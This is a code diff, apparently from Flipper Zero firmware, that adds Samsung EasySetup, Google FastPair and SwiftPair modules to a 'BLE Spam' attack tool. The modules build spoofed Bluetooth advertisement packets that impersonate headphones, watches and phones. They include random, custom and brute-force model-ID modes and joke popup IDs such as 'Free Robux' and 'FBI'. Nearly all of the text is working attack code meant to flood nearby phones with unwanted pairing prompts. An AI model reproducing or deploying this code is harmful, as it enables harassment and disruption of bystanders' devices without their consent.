packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
// Truncated AD segment, Android seems to fill in the rest with zeros
break;
}
case EasysetupTypeWatch: {
uint8_t model;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = watch_models[rand() % watch_models_count].value;
break;
case PayloadModeValue:
model = cfg->data.watch.model;
break;
case PayloadModeBruteforce:
model = cfg->data.watch.model = payload->bruteforce.value;
break;
}
packet[i++] = 14; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
packet[i++] = 0x00; // ...
packet[i++] = 0x01;
packet[i++] = 0x00;
packet[i++] = 0x02;
packet[i++] = 0x00;
packet[i++] = 0x01;
packet[i++] = 0x01;
packet[i++] = 0xFF;
packet[i++] = 0x00;
packet[i++] = 0x00;
packet[i++] = 0x43;
packet[i++] = (model >> 0x00) & 0xFF;
break;
}
default:
break;
}
*out_size = size;
*out_packet = packet;
}
enum {
_ConfigBudsExtraStart = ConfigExtraStart,
ConfigBudsModel,
ConfigBudsInfoVersion,
ConfigBudsCOUNT,
};
enum {
_ConfigWatchExtraStart = ConfigExtraStart,
ConfigWatchModel,
ConfigWatchCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(cfg->type) {
case EasysetupTypeBuds: {
switch(index) {
case ConfigBudsModel:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
break;
case ConfigBudsInfoVersion:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case EasysetupTypeWatch: {
switch(index) {
case ConfigWatchModel:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void buds_model_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
EasysetupCfg* cfg = &payload->cfg.easysetup;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->data.buds.model = buds_models[index].value;
variable_item_set_current_value_text(item, buds_models[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void watch_model_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
EasysetupCfg* cfg = &payload->cfg.easysetup;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->data.watch.model = watch_models[index].value;
variable_item_set_current_value_text(item, watch_models[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
switch(cfg->type) {
case EasysetupTypeBuds: {
item = variable_item_list_add(
list, "Model Code", buds_models_count + 1, buds_model_changed, payload);
const char* model_name = NULL;
char model_name_buf[9];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < buds_models_count; i++) {
if(cfg->data.buds.model == buds_models[i].value) {
model_name = buds_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
model_name = model_name_buf;
value_index = buds_models_count + 1;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
value_index = buds_models_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
break;
}
case EasysetupTypeWatch: {
item = variable_item_list_add(
list, "Model Code", watch_models_count + 1, watch_model_changed, payload);
const char* model_name = NULL;
char model_name_buf[3];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < watch_models_count; i++) {
if(cfg->data.watch.model == watch_models[i].value) {
model_name = watch_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
model_name = model_name_buf;
value_index = watch_models_count + 1;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
value_index = watch_models_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
break;
}
default:
break;
}
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_counts[EasysetupTypeCOUNT] = {
[EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
[EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
};
static uint8_t config_count(const Payload* payload) {
const EasysetupCfg* cfg = &payload->cfg.easysetup;
return config_counts[cfg->type];
}
const Protocol protocol_easysetup = {
.icon = &I_android,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void buds_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case buds_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
break;
case buds_models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->data.buds.model;
payload->bruteforce.size = 3;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->data.buds.model = buds_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_easysetup_buds_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < buds_models_count; i++) {
submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->data.buds.model == buds_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = buds_models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", buds_models_count + 2, buds_model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = buds_models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_buds_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void buds_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
payload->mode = PayloadModeValue;
cfg->data.buds.model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void watch_model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case watch_models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
break;
case watch_models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->data.watch.model;
payload->bruteforce.size = 1;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->data.watch.model = watch_models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_easysetup_watch_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < watch_models_count; i++) {
submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->data.watch.model == watch_models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = watch_models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", watch_models_count + 2, watch_model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = watch_models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_watch_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void watch_model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
payload->mode = PayloadModeValue;
cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
EasysetupCfg* cfg = &payload->cfg.easysetup;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -0,0 +1,25 @@
#pragma once
#include "_base.h"
// Hacked together by @Willy-JL and @Spooks4576
// Research by @Spooks4576
typedef enum {
EasysetupTypeBuds = 0x01, // Skip 0 as it means unset
EasysetupTypeWatch,
EasysetupTypeCOUNT,
} EasysetupType;
typedef struct {
EasysetupType type;
union {
struct {
uint32_t model;
} buds;
struct {
uint8_t model;
} watch;
} data;
} EasysetupCfg;
extern const Protocol protocol_easysetup;

View File

@@ -0,0 +1,4 @@
ADD_SCENE(easysetup_buds_model, EasysetupBudsModel)
ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom)
ADD_SCENE(easysetup_watch_model, EasysetupWatchModel)
ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom)

View File

@@ -1,44 +1,238 @@
#include "fastpair.h"
#include "_registry.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) {
const FastpairCfg* cfg = &_cfg->fastpair;
UNUSED(cfg);
const struct {
uint32_t value;
const char* name;
} models[] = {
// Genuine non-production/forgotten (good job Google)
{0x0001F0, "Bisto CSR8670 Dev Board"},
{0x000047, "Arduino 101"},
{0x470000, "Arduino 101 2"},
{0x00000A, "Anti-Spoof Test"},
{0x0A0000, "Anti-Spoof Test 2"},
{0x00000B, "Google Gphones"},
{0x0B0000, "Google Gphones 2"},
{0x0C0000, "Google Gphones 3"},
{0x00000D, "Test 00000D"},
{0x000007, "Android Auto"},
{0x070000, "Android Auto 2"},
{0x000008, "Foocorp Foophones"},
{0x080000, "Foocorp Foophones 2"},
{0x000009, "Test Android TV"},
{0x090000, "Test Android TV 2"},
{0x000035, "Test 000035"},
{0x350000, "Test 000035 2"},
{0x000048, "Fast Pair Headphones"},
{0x480000, "Fast Pair Headphones 2"},
{0x000049, "Fast Pair Headphones 3"},
{0x490000, "Fast Pair Headphones 4"},
{0x001000, "LG HBS1110"},
{0x00B727, "Smart Controller 1"},
{0x01E5CE, "BLE-Phone"},
{0x0200F0, "Goodyear"},
{0x00F7D4, "Smart Setup"},
{0xF00002, "Goodyear"},
{0xF00400, "T10"},
{0x1E89A7, "ATS2833_EVB"},
// Phone setup
{0x00000C, "Google Gphones Transfer"},
{0x0577B1, "Galaxy S23 Ultra"},
{0x05A9BC, "Galaxy S20+"},
// Genuine devices
{0xCD8256, "Bose NC 700"},
{0x0000F0, "Bose QuietComfort 35 II"},
{0xF00000, "Bose QuietComfort 35 II 2"},
{0x821F66, "JBL Flip 6"},
{0xF52494, "JBL Buds Pro"},
{0x718FA4, "JBL Live 300TWS"},
{0x0002F0, "JBL Everest 110GA"},
{0x92BBBD, "Pixel Buds"},
{0x000006, "Google Pixel buds"},
{0x060000, "Google Pixel buds 2"},
{0xD446A7, "Sony XM5"},
{0x2D7A23, "Sony WF-1000XM4"},
{0x0E30C3, "Razer Hammerhead TWS"},
{0x72EF8D, "Razer Hammerhead TWS X"},
{0x72FB00, "Soundcore Spirit Pro GVA"},
{0x0003F0, "LG HBS-835S"},
{0x002000, "AIAIAI TMA-2 (H60)"},
{0x003000, "Libratone Q Adapt On-Ear"},
{0x003001, "Libratone Q Adapt On-Ear 2"},
{0x00A168, "boAt Airdopes 621"},
{0x00AA48, "Jabra Elite 2"},
{0x00AA91, "Beoplay E8 2.0"},
{0x00C95C, "Sony WF-1000X"},
{0x01EEB4, "WH-1000XM4"},
{0x02AA91, "B&O Earset"},
{0x01C95C, "Sony WF-1000X"},
{0x02D815, "ATH-CK1TW"},
{0x035764, "PLT V8200 Series"},
{0x038CC7, "JBL TUNE760NC"},
{0x02DD4F, "JBL TUNE770NC"},
{0x02E2A9, "TCL MOVEAUDIO S200"},
{0x035754, "Plantronics PLT_K2"},
{0x02C95C, "Sony WH-1000XM2"},
{0x038B91, "DENON AH-C830NCW"},
{0x02F637, "JBL LIVE FLEX"},
{0x02D886, "JBL REFLECT MINI NC"},
{0xF00000, "Bose QuietComfort 35 II"},
{0xF00001, "Bose QuietComfort 35 II"},
{0xF00201, "JBL Everest 110GA"},
{0xF00204, "JBL Everest 310GA"},
{0xF00209, "JBL LIVE400BT"},
{0xF00205, "JBL Everest 310GA"},
{0xF00200, "JBL Everest 110GA"},
{0xF00208, "JBL Everest 710GA"},
{0xF00207, "JBL Everest 710GA"},
{0xF00206, "JBL Everest 310GA"},
{0xF0020A, "JBL LIVE400BT"},
{0xF0020B, "JBL LIVE400BT"},
{0xF0020C, "JBL LIVE400BT"},
{0xF00203, "JBL Everest 310GA"},
{0xF00202, "JBL Everest 110GA"},
{0xF00213, "JBL LIVE650BTNC"},
{0xF0020F, "JBL LIVE500BT"},
{0xF0020E, "JBL LIVE500BT"},
{0xF00214, "JBL LIVE650BTNC"},
{0xF00212, "JBL LIVE500BT"},
{0xF0020D, "JBL LIVE400BT"},
{0xF00211, "JBL LIVE500BT"},
{0xF00215, "JBL LIVE650BTNC"},
{0xF00210, "JBL LIVE500BT"},
{0xF00305, "LG HBS-1500"},
{0xF00304, "LG HBS-1010"},
{0xF00308, "LG HBS-1125"},
{0xF00303, "LG HBS-930"},
{0xF00306, "LG HBS-1700"},
{0xF00300, "LG HBS-835S"},
{0xF00309, "LG HBS-2000"},
{0xF00302, "LG HBS-830"},
{0xF00307, "LG HBS-1120"},
{0xF00301, "LG HBS-835"},
{0xF00E97, "JBL VIBE BEAM"},
{0x04ACFC, "JBL WAVE BEAM"},
{0x04AA91, "Beoplay H4"},
{0x04AFB8, "JBL TUNE 720BT"},
{0x05A963, "WONDERBOOM 3"},
{0x05AA91, "B&O Beoplay E6"},
{0x05C452, "JBL LIVE220BT"},
{0x05C95C, "Sony WI-1000X"},
{0x0602F0, "JBL Everest 310GA"},
{0x0603F0, "LG HBS-1700"},
{0x1E8B18, "SRS-XB43"},
{0x1E955B, "WI-1000XM2"},
{0x1EC95C, "Sony WF-SP700N"},
{0x1ED9F9, "JBL WAVE FLEX"},
{0x1EE890, "ATH-CKS30TW WH"},
{0x1EEDF5, "Teufel REAL BLUE TWS 3"},
{0x1F1101, "TAG Heuer Calibre E4 45mm"},
{0x1F181A, "LinkBuds S"},
{0x1F2E13, "Jabra Elite 2"},
{0x1F4589, "Jabra Elite 2"},
{0x1F4627, "SRS-XG300"},
{0x1F5865, "boAt Airdopes 441"},
{0x1FBB50, "WF-C700N"},
{0x1FC95C, "Sony WF-SP700N"},
{0x1FE765, "TONE-TF7Q"},
{0x1FF8FA, "JBL REFLECT MINI NC"},
{0x201C7C, "SUMMIT"},
{0x202B3D, "Amazfit PowerBuds"},
{0x20330C, "SRS-XB33"},
{0x003B41, "M&D MW65"},
{0x003D8A, "Cleer FLOW II"},
{0x005BC3, "Panasonic RP-HD610N"},
{0x008F7D, "soundcore Glow Mini"},
{0x00FA72, "Pioneer SE-MS9BN"},
{0x0100F0, "Bose QuietComfort 35 II"},
{0x011242, "Nirvana Ion"},
{0x013D8A, "Cleer EDGE Voice"},
{0x01AA91, "Beoplay H9 3rd Generation"},
{0x038F16, "Beats Studio Buds"},
{0x039F8F, "Michael Kors Darci 5e"},
{0x03AA91, "B&O Beoplay H8i"},
{0x03B716, "YY2963"},
{0x03C95C, "Sony WH-1000XM2"},
{0x03C99C, "MOTO BUDS 135"},
{0x03F5D4, "Writing Account Key"},
{0x045754, "Plantronics PLT_K2"},
{0x045764, "PLT V8200 Series"},
{0x04C95C, "Sony WI-1000X"},
{0x050F0C, "Major III Voice"},
{0x052CC7, "MINOR III"},
{0x057802, "TicWatch Pro 5"},
{0x0582FD, "Pixel Buds"},
{0x058D08, "WH-1000XM4"},
{0x06AE20, "Galaxy S21 5G"},
{0x06C197, "OPPO Enco Air3 Pro"},
{0x06C95C, "Sony WH-1000XM2"},
{0x06D8FC, "soundcore Liberty 4 NC"},
{0x0744B6, "Technics EAH-AZ60M2"},
{0x07A41C, "WF-C700N"},
{0x07C95C, "Sony WH-1000XM2"},
{0x07F426, "Nest Hub Max"},
{0x0102F0, "JBL Everest 110GA - Gun Metal"},
{0x0202F0, "JBL Everest 110GA - Silver"},
{0x0302F0, "JBL Everest 310GA - Brown"},
{0x0402F0, "JBL Everest 310GA - Gun Metal"},
{0x0502F0, "JBL Everest 310GA - Silver"},
{0x0702F0, "JBL Everest 710GA - Gun Metal"},
{0x0802F0, "JBL Everest 710GA - Silver"},
{0x054B2D, "JBL TUNE125TWS"},
{0x0660D7, "JBL LIVE770NC"},
{0x0103F0, "LG HBS-835"},
{0x0203F0, "LG HBS-830"},
{0x0303F0, "LG HBS-930"},
{0x0403F0, "LG HBS-1010"},
{0x0503F0, "LG HBS-1500"},
{0x0703F0, "LG HBS-1120"},
{0x0803F0, "LG HBS-1125"},
{0x0903F0, "LG HBS-2000"},
// Custom debug popups
{0xD99CA1, "Flipper Zero"},
{0x77FF67, "Free Robux"},
{0xAA187F, "Free VBucks"},
{0xDCE9EA, "Rickroll"},
{0x87B25F, "Animated Rickroll"},
{0xF38C02, "Boykisser"},
{0x1448C9, "BLM"},
{0xD5AB33, "Xtreme"},
{0x0C0B67, "Xtreme Cta"},
{0x13B39D, "Talking Sasquach"},
{0xAA1FE1, "ClownMaster"},
{0x7C6CDB, "Obama"},
{0x005EF9, "Ryanair"},
{0xE2106F, "FBI"},
{0xB37A62, "Tesla"},
};
const uint8_t models_count = COUNT_OF(models);
static const char* get_name(const Payload* payload) {
UNUSED(payload);
return "FastPair";
}
void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
uint32_t model_id;
if(cfg && cfg->model_id != 0x000000) {
model_id = cfg->model_id;
} else {
const uint32_t models[] = {
// Genuine devices
0xCD8256, // Bose NC 700
0xF52494, // JBL Buds Pro
0x718FA4, // JBL Live 300TWS
0x821F66, // JBL Flip 6
0x92BBBD, // Pixel Buds
0xD446A7, // Sony XM5
// Custom debug popups
0xD99CA1, // Flipper Zero
0x77FF67, // Free Robux
0xAA187F, // Free VBucks
0xDCE9EA, // Rickroll
0x87B25F, // Animated Rickroll
0xF38C02, // Boykisser
0x1448C9, // BLM
0xD5AB33, // Xtreme
0x13B39D, // Talking Sasquach
0xAA1FE1, // ClownMaster
};
model_id = models[rand() % COUNT_OF(models)];
uint32_t model;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
model = models[rand() % models_count].value;
break;
case PayloadModeValue:
model = cfg->model;
break;
case PayloadModeBruteforce:
model = cfg->model = payload->bruteforce.value;
break;
}
uint8_t size = 14;
@@ -54,9 +248,9 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
packet[i++] = (model >> 0x10) & 0xFF;
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
@@ -66,8 +260,198 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc
*_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_fastpair = {
.icon = &I_android,
.get_name = fastpair_get_name,
.make_packet = fastpair_make_packet,
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigModel,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigModel:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void model_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
FastpairCfg* cfg = &payload->cfg.fastpair;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->model = models[index].value;
variable_item_set_current_value_text(item, models[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, payload);
const char* model_name = NULL;
char model_name_buf[9];
switch(payload->mode) {
case PayloadModeRandom:
default:
model_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < models_count; i++) {
if(cfg->model == models[i].value) {
model_name = models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
model_name = model_name_buf;
value_index = models_count + 1;
}
break;
case PayloadModeBruteforce:
model_name = "Bruteforce";
value_index = models_count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_count(const Payload* payload) {
UNUSED(payload);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_fastpair = {
.icon = &I_android,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void model_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
switch(index) {
case 0:
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
break;
case models_count + 1:
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
break;
case models_count + 2:
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->model;
payload->bruteforce.size = 3;
scene_manager_previous_scene(ctx->scene_manager);
break;
default:
payload->mode = PayloadModeValue;
cfg->model = models[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
break;
}
}
void scene_fastpair_model_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);
submenu_add_item(submenu, "Random", 0, model_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}
bool found = false;
for(uint8_t i = 0; i < models_count; i++) {
submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = models_count + 1;
}
submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = models_count + 2;
}
submenu_set_selected_item(submenu, selected);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_on_exit(void* _ctx) {
UNUSED(_ctx);
}
static void model_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
payload->mode = PayloadModeValue;
cfg->model =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_fastpair_model_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
FastpairCfg* cfg = &payload->cfg.fastpair;
ByteInput* byte_input = ctx->byte_input;
byte_input_set_header_text(byte_input, "Enter custom Model Code");
ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
byte_input_set_result_callback(
byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_fastpair_model_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}

View File

@@ -5,7 +5,7 @@
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
typedef struct {
uint32_t model_id;
uint32_t model;
} FastpairCfg;
extern const BleSpamProtocol ble_spam_protocol_fastpair;
extern const Protocol protocol_fastpair;

View File

@@ -0,0 +1,2 @@
ADD_SCENE(fastpair_model, FastpairModel)
ADD_SCENE(fastpair_model_custom, FastpairModelCustom)

View File

@@ -1,35 +1,40 @@
#include "swiftpair.h"
#include "_registry.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) {
const SwiftpairCfg* cfg = &_cfg->swiftpair;
UNUSED(cfg);
const char* names[] = {
"Assquach💦",
"Flipper 🐬",
"iOS 17 🍎",
"Kink💦",
